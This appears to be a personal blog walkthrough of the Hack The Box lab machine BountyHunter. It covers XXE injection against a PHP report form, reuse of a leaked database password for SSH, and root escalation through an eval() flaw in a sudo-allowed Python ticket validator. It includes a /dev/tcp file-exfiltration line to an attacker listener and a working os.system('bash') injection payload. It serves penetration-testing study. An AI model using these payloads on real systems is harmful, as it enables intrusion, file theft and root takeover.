BountyHunter is an easy Linux box created by ejedev for Hack The Box and was released on the 24th of July 2021. Hello world, welcome to haxez and if you want to know how to hack BountyHunter then, This Is The Way! To complete this box, it is recommended that you know Python and basic Linux. The skills obtained from hacking this box are XXE injection and Source code review.
BountyHunter Enumeration
After spawning the box, I pinged it to ensure that it was up and running. Following that, I performed a Nmap scan to identify listening services and service versions. As a result, I learnt that ports 22 for SSH and 80 for HTTP were open. Furthermore, the box had an Ubuntu operating system and was running Apache 2.4.41. As SSH was unlikely to be the attack vector, I went to take a look at the website.
┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ sudo nmap -sC -sV -p- 10.129.95.166 --min-rate 10000 -oA BountyHunter
BountyHunter Web Application Enumeration
According to whatweb, the application was built using a combination of Bootstrap, HTML5 and Jquery. Additionally, whatweb verified some factors that Nmap discovered. Not much else was revealed from whatweb so I navigated to the application to investigate further.
┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ whatweb -a3 http://10.129.95.166/ -v
The application was a fairly standard modern service information page. Scrolling through the content it appeared to be a website advertising a bug bounty hunting team. There was a contact form at the bottom of the page but it didn’t appear to function. There was also a link to an in-development Bounty Report System that was likely going to be the attack vector. The Bounty Reporting System was being loaded from a PHP file named log_submit.php so I now knew I was now dealing with PHP.
Bounty Reporting System
I navigated to the Bounty Reporting System and submitted some test data to see how it was being processed. Initially, I received a message explaining that if the database was ready then the data would have been added. This told me that I probably wasn’t looking at an SQL injection vector.
Next, I checked the request in Burp to see how it was constructed. As shown below, the user-supplied data was sent as a POST request. Furthermore, the data was base64 encoded and added to the data parameter. Highlighting the base64 encoded data revealed that it was XML. This triggered my Spidey-Sense so I started looking for XML Entity Injection Payloads.
To test for XXE, I modified the existing XML and defined a new entity called payload. Next, I specified the value of the new entity as “haxez was here”. Finally, I added the payload entity to the title. If the application is vulnerable to XXE then “haxez was here” would be rendered in the title when the application responds.
As you can see from the screenshot below, the value of the payload parameter was rendered in the title thus confirming XXE.
Exploiting XXE
To make life easier, I stole the Python payload from IppSec’s youtube video and used it to retrieve the contents of the /etc/passwd file. All I need to do now is change the value of the fname variable to the file I wanted and the Python script will retrieve it for me. As you can see from the screenshot, it successfully retrieved the /etc/passwd file. If IppSec did a “coding with IppSec” spin-off channel, I would be hooked.
In short, the script takes the XXE payload but replaces the filename with the fname variable. It then encodes it to base64 and sends it to the application. Next, it uses the split function to format the output nicely and then base64 decodes the output. The reason why it needs to base64 decode the output is that we’re first converting the file to base64 to avoid bad characters such as the less than and greater than symbols. Awesome!
I now had a working exploit to retrieve PHP files from the host but going through the output of the files found in Burp didn’t reveal much. I ran gobuster to enumerate the application’s directories and files and found the database configuration file named db.php.
┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ gobuster dir -u http://10.129.95.185 -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt -x php,txt,html -o gobuster.out
BountyHunter Foothold
Using the Python exploit, I retrieved the /etc/passwd and db.php files. Looking through the /etc/passwd file, I noticed that only 2 users had a shell (root and development). Analysis of the db.php revealed that the database username was admin and the password was ‘m19RoAU0hP41A1sTsq6K’
I added the root and development users to a text file named users.txt and then used crackmapexec to password-spray those users with the database password. This could have also been done with Hydra by supplying a usernames list and the fixed password but crackmapexec is awesome. From the results, I learnt that the developer account was reusing the password for the database. Admittedly, this was a bit overkill but if you had a list of 1000 users, you wouldn’t want to try them all manually.
I could now log in via SSSH as the development user and grab the user flag.
┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
development@bountyhunter:~$ cat user.txt
1d3▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e7fAuthenticated Host Enumeration
The first thing I ran was sudo -l to see if I could run anything with sudo privileges. This could be an easy win on any box. From the results, I learnt that the development user could run a Python script named ticketValidator.py.
It was time to perform some code analysis. Please note that I’m terrible at Python and will do a horrible job of explaining what the script is doing. At the top of the script, a function named load_file is defined. The function has an if statement to check if the file ends with .md. If not the script will return the error “Wrong file type”. I now know that my file needs to end with .md.
Next, there is a function named evaluate which verifies several parameters within the file. This is a large function so I will break it down step by step.
- The first line needs to start “# Skytrain Inc”.
- The second line needs to start “## Ticket to “, and have a space after to.
- The third line needs to start “__Ticket Code:__”.
- The next line needs to start “**”.
- Then there a maths calculation which I will come back to later.
- If those conditions are met then it’s passed to eval which may allow code execution.
Crafting An Exploit
I attempted to eyeball the exploit but that resulted in a bunch of errors so the next logical step was to steal the source code and run it locally. That way I can debug the payload as I run it through the script. First I created a netcat listener and told it to save all output to a file called ticketValidator.py.
┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337 > ticketValidator.pyNext, I cat the contents of the file on the target host and sent the output to my netcat listener.
development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py > /dev/tcp/10.10.14.36/1337I then opened the file with codium and ran it. I supplied the path to my inject.md payload and it produced an error on the line performing the “% 7–4” calculation. This was because there is a requirement for a space which you can see with ‘split(“+”)[0]’. As you can see in the terminal window, this didn’t output “hello world” so my payload wasn’t being executed. FYI, I’m terrible at this.
To fix this, I edited the inject.md file and added the plus symbol after 11.
# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+print("hello world")Now when I reran the script, it still errored but it executed my payload.
Next, I tested for code execution and this is where I struggled a bit. However, the payload below works fine. As you can see from the output, it successfully ran the id command and return our user’s id values. Now, I should be able to change the id command to bash so that when the ticket is processed, it runs bash as root and gives me a root shell.
# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+eval('11+__import__("os").system("id")')
BountyHunter Privilege Escalation
To elevate my privileges I used the following payload.
# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+eval('11+__import__("os").system("bash")')I saved this to a file called inject3.md and then ran the ticketValidator.py script with sudo and specified the inject3.md file. Sure enough, this spawned a bash shell as root and allowed me to capture the root.txt flag.
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
inject3.md
Destination:
root@bountyhunter:/home/development# cat /root/root.txt
bf2▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e1eBountyHunter Learnings
BountyHunter was a fun box and help me understand XML entity injection better. I think I’ve only completed a few boxes that required XXE but I’ve taken long breaks so may have forgotten. I believe that I understand it now and can craft payloads (provided I have notes). However, I’m sure that I will run into another brick wall once I move on to medium boxes and the applications start validating input a bit more. Overall, the foothold was a lot of fun and was well within my current capabilities.
The privilege escalation on the other hand was an entirely different beast. I can say with 100% certainty that I wouldn’t have solved this without a walkthrough. Despite finding the script and recognising that eval equals bad, I wouldn’t have been able to construct the payload. My code analysis skills are nonexistent so trying to identify the specifics required to create a valid ticket would have defeated me. The invalid tickets didn’t help me either although I’m sure they helped others. This isn’t a criticism of the box at all, the box was great. It highlighted an area that I’m struggling with. I hope that exposure will help me improve but at present, I don’t see a path forward without taking a step back and learning to code. I tend to miss the small details like requiring spaces. Anyway, thanks for the box.